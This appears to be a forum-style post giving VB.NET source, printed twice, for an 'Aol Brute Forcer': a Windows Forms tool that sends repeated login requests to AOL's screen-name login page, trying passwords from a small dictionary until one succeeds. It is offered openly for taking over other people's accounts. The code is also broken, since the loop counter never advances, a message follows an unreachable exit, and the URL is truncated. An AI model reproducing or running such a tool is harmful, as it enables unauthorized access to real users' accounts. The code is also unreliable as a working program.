First, make a GUI, add a textbox, and a label then use this source
Imports System.Collections.Generic, System.ComponentModel, System.Data, System.Drawing, System.Linq, System.Text, System.Windows.Forms, System.IO, System.Net
Public Class Form1
Private Cookies As CookieContainer
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
Dim Password(500) As String
'Password(500) is a password dictionary, used for Brute Forcing.
'Brute Forcing is when you fuck with an account multiple times to find the
'password of it, when you finally do, it'll tell you what that password is. Enjoy =D
Password(0) = "owxuxbhw"
Password(1) = "default"
Password(2) = "******"
Password(3) = "default100"
Password(4) = "Default123"
Password(5) = "cooper2005"
Password(6) = "index123"
Password(7) = "password"
'You get the hang of it, just keep putting random passwords in those until you hit the
'maximum you can go to for this.
Dim I As Integer = 0 'For automatic password update to next
Do While I <= 500
Dim Username As String = TextBox1.Text 'The Aol screen name
Dim Post As String = "/_cqr/login/login.psp sitedomain=startpage.aol.com&siteId=&lang=en&locale=us&authLev=0&siteState=OrigUrl%253Dhttp%25253A%25252F%25252Fwww.aol.com%25252F&isSiteStateEncoded=true&mcState=initialized&uitype=std&use_aam=0&offerId=&seamless=y®PromoCode=&usrd=1795702&doSSL=&redirType=&xchk=false&tab=&lsoDP=id%3DE972048F-57EC-62F4-2F30-2E5009CA0C6C&loginId={0}&password={1}"
Post = String.Format(Post, Username, Password(I))
Dim InformationA As String
Dim InformationB As String
Cookies = New CookieContainer()
Dim Encoding As New ASCIIEncoding()
Dim Data As Byte() = Encoding.GetBytes(Post)
Dim Request As HttpWebRequest = DirectCast(WebRequest.Create("https://my.screenname.aol.com/_cqr/...%2Fwww.aol.com%2F&authLev=0&lang=en&locale=us"), HttpWebRequest)
Request.Method = "POST"
Request.UserAgent = ".NET Example Client"
Request.ContentType = "application/x-www-form-urlencoded"
Request.CookieContainer = Cookies
Dim DataStream As Stream = Request.GetRequestStream()
DataStream.Write(Data, 0, Data.Length)
Dim Response As HttpWebResponse = DirectCast(Request.GetResponse(), HttpWebResponse)
Dim SR As New StreamReader(Response.GetResponseStream())
InformationA = SR.ReadToEnd()
InformationB = InformationA
If InformationB.Contains("Username Service") Then
MessageBox.Show("The password to this account is " + Password(I) + "!")
Exit Do
Else
If Password(I) = Nothing Then
MessageBox.Show("The character field for this password is empty. The application will now stop brute forcing the account.", "Unsuccessful")
Exit Sub
End If
End If
Loop
If I >= 500 Then
Exit Sub
MessageBox.Show("The password was not recovered by Aol Brute Forcer.", "Unsuccessful")
End If
End Sub
End Class
Imports System.Collections.Generic, System.ComponentModel, System.Data, System.Drawing, System.Linq, System.Text, System.Windows.Forms, System.IO, System.Net
Public Class Form1
Private Cookies As CookieContainer
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
Dim Password(500) As String
'Password(500) is a password dictionary, used for Brute Forcing.
'Brute Forcing is when you fuck with an account multiple times to find the
'password of it, when you finally do, it'll tell you what that password is. Enjoy =D
Password(0) = "owxuxbhw"
Password(1) = "default"
Password(2) = "******"
Password(3) = "default100"
Password(4) = "Default123"
Password(5) = "cooper2005"
Password(6) = "index123"
Password(7) = "password"
'You get the hang of it, just keep putting random passwords in those until you hit the
'maximum you can go to for this.
Dim I As Integer = 0 'For automatic password update to next
Do While I <= 500
Dim Username As String = TextBox1.Text 'The Aol screen name
Dim Post As String = "/_cqr/login/login.psp sitedomain=startpage.aol.com&siteId=&lang=en&locale=us&authLev=0&siteState=OrigUrl%253Dhttp%25253A%25252F%25252Fwww.aol.com%25252F&isSiteStateEncoded=true&mcState=initialized&uitype=std&use_aam=0&offerId=&seamless=y®PromoCode=&usrd=1795702&doSSL=&redirType=&xchk=false&tab=&lsoDP=id%3DE972048F-57EC-62F4-2F30-2E5009CA0C6C&loginId={0}&password={1}"
Post = String.Format(Post, Username, Password(I))
Dim InformationA As String
Dim InformationB As String
Cookies = New CookieContainer()
Dim Encoding As New ASCIIEncoding()
Dim Data As Byte() = Encoding.GetBytes(Post)
Dim Request As HttpWebRequest = DirectCast(WebRequest.Create("https://my.screenname.aol.com/_cqr/...%2Fwww.aol.com%2F&authLev=0&lang=en&locale=us"), HttpWebRequest)
Request.Method = "POST"
Request.UserAgent = ".NET Example Client"
Request.ContentType = "application/x-www-form-urlencoded"
Request.CookieContainer = Cookies
Dim DataStream As Stream = Request.GetRequestStream()
DataStream.Write(Data, 0, Data.Length)
Dim Response As HttpWebResponse = DirectCast(Request.GetResponse(), HttpWebResponse)
Dim SR As New StreamReader(Response.GetResponseStream())
InformationA = SR.ReadToEnd()
InformationB = InformationA
If InformationB.Contains("Username Service") Then
MessageBox.Show("The password to this account is " + Password(I) + "!")
Exit Do
Else
If Password(I) = Nothing Then
MessageBox.Show("The character field for this password is empty. The application will now stop brute forcing the account.", "Unsuccessful")
Exit Sub
End If
End If
Loop
If I >= 500 Then
Exit Sub
MessageBox.Show("The password was not recovered by Aol Brute Forcer.", "Unsuccessful")
End If
End Sub
End Class
